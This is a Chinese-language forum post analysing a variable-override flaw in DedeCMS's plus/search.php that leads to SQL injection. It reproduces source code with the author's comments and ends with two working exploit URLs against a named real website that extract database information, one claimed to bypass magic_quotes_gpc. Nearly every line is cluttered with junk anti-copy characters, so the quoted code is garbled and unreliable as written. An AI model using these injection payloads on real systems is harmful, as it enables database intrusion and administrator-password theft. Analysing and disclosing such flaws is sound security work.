微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.- D& n- B. _7 ?/ O, Y# f! Y5 k' e
作者: c4rp3nt3r@0x50sec.org
: |0 Q9 }; D/ k. ~Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
2 R& \3 M! R- v% v4 P+ V& x* `
( |& \" B! d' O0 r: a7 j黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.2 R6 q5 k% ~ w$ [8 M
9 Q _. Y! | o( b$ h============7 S" o! _* X4 U; ]
! t1 w$ u( i! U* |' X7 J
! i: _" F. w( C0 [" n" o+ }Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.+ M5 ~1 S+ M; ^
7 `7 ], v6 u6 K! [8 h# h" h1 lrequire_once(dirname(__FILE__).”/../include/common.inc.php”);" F! y" X' L% p" R
require_once(DEDEINC.”/arc.searchview.class.php”);. h. J2 L7 L/ f( [" l4 q
& R& c/ l I# ^$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;' a7 E* @7 f8 z) e; v! Q
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
u" T, D1 ]% @% @& Y$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
) T% [& o' j4 P2 w9 R$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1; ^" W0 s9 z4 n) K% t
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;$ e+ i8 b4 S3 ]$ e3 j+ I. N; A% R
; b2 A0 U& j& \( y7 z
if(!isset($orderby)) $orderby=”;2 F* k/ M S% p
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
9 D( j1 i$ }5 P* ]
( ?& j( y, }' r5 b+ s' m' u
! N" k. v$ F+ W, ^6 ^. Z# `& tif(!isset($searchtype)) $searchtype = ‘titlekeyword’;
- e3 J% N$ L$ @$ D2 Belse $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);/ f( I7 d" v; D2 i
( M% i5 d" n3 Rif(!isset($keyword)){" z% Z5 J2 P' A
if(!isset($q)) $q = ”;
4 \# d; q2 F5 n" P9 w $keyword=$q;
' e: R. |/ E8 p' b ?, L; W b} E/ m! N! H2 f8 a* b% x4 {3 J d
- A' _, F' V/ ]
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));5 C' ~) ]( h+ A$ v, H
R ~5 M8 W9 Y* s+ }1 Z
//查找栏目信息7 T/ a( k5 ^* Z1 \
if(empty($typeid))
- C- }8 x' \" Y5 e& L6 q% R; \{8 T f; B# w9 k0 w
$typenameCacheFile = DEDEDATA.’/cache/typename.inc’;$ h# j2 Y& {/ v7 C" x4 ~
if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
- [) _5 b& C* C! P {% U' } a$ b& p% z' o' C: ~9 q* M$ U
$fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);/ u. E5 L! V7 b
fwrite($fp, “<”.”?php\r\n”);
5 W1 M) ?9 ?" I $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
' G9 b+ U2 e7 q% k# r! g3 C* J $dsql->Execute();
& ?1 [' d) b ~! _ while($row = $dsql->GetArray())
. F* p3 M' q/ E$ ?3 X/ a2 Q {
+ b& V( C) I$ r5 o- j. i# D' }' I fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
) W& f6 x( m% }6 z6 u7 F }
) s. _ O1 R2 [6 h fwrite($fp, ‘?’.'>’);
$ _ E( ?6 l- f fclose($fp);
8 D. U3 a2 \0 ]4 @& @$ P$ U2 H }: B) H3 {( n) U& W
//引入栏目缓存并看关键字是否有相关栏目内容4 d8 D! W* }- k* j& R
require_once($typenameCacheFile);
# N1 [" j7 L& m6 F//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个/ \6 L$ t8 p& t1 S+ `) }
//
^8 o" b3 F' }' \# e- ]/ M if(isset($typeArr) && is_array($typeArr))5 v6 \* K f+ V7 l+ h& b. ]
{
: ? d. t, ?+ }' T6 H, l& h foreach($typeArr as $id=>$typename)
# S% c# c/ q5 K6 A: n* H$ m {7 e' S2 `. n k6 j+ }" T7 Y b
6 N2 u+ Q; B' Y
<font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过
2 E) S3 o+ `2 z7 y+ F0 d if($keyword != $keywordn)
* k: z" n, x0 P' f {$ ? T/ y. x' ]
$keyword = $keywordn;( f3 F+ h q( L# @
<font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
2 J6 W T( F* h1 I& y, Q" l4 ~ break;4 {2 H) n1 h# o/ h4 d6 T. K
}
: I. K/ p2 Q7 l8 h }
! N! p0 P" X! m* `- d3 } }
9 A( s$ k4 m6 k$ n; _# B}
+ L" [% P @4 R; L5 Q, d然后plus/search.php文件下面定义了一个 Search类的对象 .& C0 W0 O4 t; U# C$ G' K: f) s( `+ q
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.4 f, z$ R& p: K& y$ _7 _# F
$this->TypeLink = new TypeLink($typeid);
. R9 C8 A3 Q) Y9 i/ m5 B& ^* g
1 v1 X) M6 T3 v6 W: S( BTypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.+ R0 q9 l+ F0 d3 z7 V- i% ~
. B0 l) @3 N0 Q! p+ R* P
class TypeLink
$ _9 U! e' Y$ d% W. G4 Y{# j/ S' q5 F; _5 X6 C+ i: B
var $typeDir;, E( K1 q& q6 h. t
var $dsql;
3 k5 A* h) h( I( H3 m var $TypeID;; ~# w% a6 {& W, g" w
var $baseDir;
& ]: N' Q8 {) R3 B, L var $modDir;
! ~9 D/ p, e& K% T# ` m8 H1 `. W var $indexUrl;
0 ?8 q8 t2 g) _' j8 H var $indexName;
; l' d) {# p0 \ F+ R1 M) k var $TypeInfos;1 s+ d# V. s0 Y# f" K* ?1 R
var $SplitSymbol; [/ J. C5 Q. p
var $valuePosition;
$ @, _% w1 l9 j& u! C var $valuePositionName;& ?' Z- j% [* S# q& _- ]
var $OptionArrayList;//构造函数///////5 @0 P8 K0 \- K/ k9 U
//php5构造函数
+ _% p! S, T/ s9 R function __construct($typeid)
: o- R0 J/ i |2 u8 P. d {
: n; `5 v$ }6 A1 i% I $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
# |+ l3 _ C7 L0 ` $this->indexName = $GLOBALS['cfg_indexname'];
& b& ^+ }' }/ j9 Z W& I% _$ @$ e; R $this->baseDir = $GLOBALS['cfg_basedir'];( W* m8 j* \" c2 [& Z* D6 K
$this->modDir = $GLOBALS['cfg_templets_dir'];1 F" B7 r! {$ U: v1 y5 B
$this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
2 m8 ^, ]0 f# B( E+ s4 D' u2 |, l $this->dsql = $GLOBALS['dsql'];
2 K& ^4 W! @' R% E& e; K0 n $this->TypeID = $typeid; r7 c' L) y: j2 z0 E! _
$this->valuePosition = ”;# x9 ^& ^- K. w8 a% ~
$this->valuePositionName = ”;8 o! t* \- \- T" F
$this->typeDir = ”;# D/ n3 F1 u& g* u3 p
$this->OptionArrayList = ”;
6 Y3 f7 g7 s8 v) {; h% z0 ]
/ ~& q% r R/ v* m) i //载入类目信息
- h* V4 I; F, J# T: N: \8 ] ! ?8 B" D/ c4 ~$ R2 n9 K
<font color=”Red”>$query = “SELECT tp.*,ch.typename as
- a' q; f0 h" z: Z$ ~ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
m9 T5 K1 B1 ~4 a4 \" R3 x`#@__channeltype` ch
. j0 p" G: C. F% D n8 ~ on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿( _* _" z! X) t, \# ~7 n7 C- \
( l4 h% }: m/ Y4 G. Y2 Q
if($typeid > 0)
! I9 l& _! h# S# ~% W% z& [ {' f$ @* D, r6 u: L" f
$this->TypeInfos = $this->dsql->GetOne($query);) v4 ^4 ^. t' V. }, G' N
利用代码一 需要 即使magic_quotes_gpc = Off
0 F: {# P& [* E 9 S8 i3 g9 Y E z' N
www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
C& ]! u' w% e5 a* v
3 q( y0 _6 O7 ]/ q( B. ]9 H& I这只是其中一个利用代码… Search 类的构造函数再往下
& _9 B$ B; l8 b+ m" Q: L 7 k% S# M0 V( W6 a; Z: q2 g& }
……省略
6 z8 ] F- B7 J8 r4 t" o# u$this->TypeID = $typeid;1 R( j8 G" t$ y. t+ y
……省略: @$ N" O- c) A5 n% d
if($this->TypeID==”0″){
0 g2 f: p1 [7 D $this->ChannelTypeid=1;9 k; v- [; b( g7 x
}else{% |- d/ Y% r1 T3 \3 A
$row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲0 W/ x! X. ^5 k0 ]
//现在不鸡肋了吧亲…! I! f0 J7 G3 P: a0 q
$this->ChannelTypeid=$row['channeltype'];* b% X. m- e* y; j$ o; p1 t
) }! @2 c1 M. h) o( m4 }
} X# J* {8 a6 X& u5 W+ \+ D
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
' V" |* T/ G+ U9 F# s
2 Q' ~1 _: H" H0 t4 z7 Xwww.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
8 ?# |9 \- G+ \+ ^
+ @5 ] @& b5 q1 k, L* q" m如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
( @- h3 e; g6 v& a6 q% b7 m! M1 W |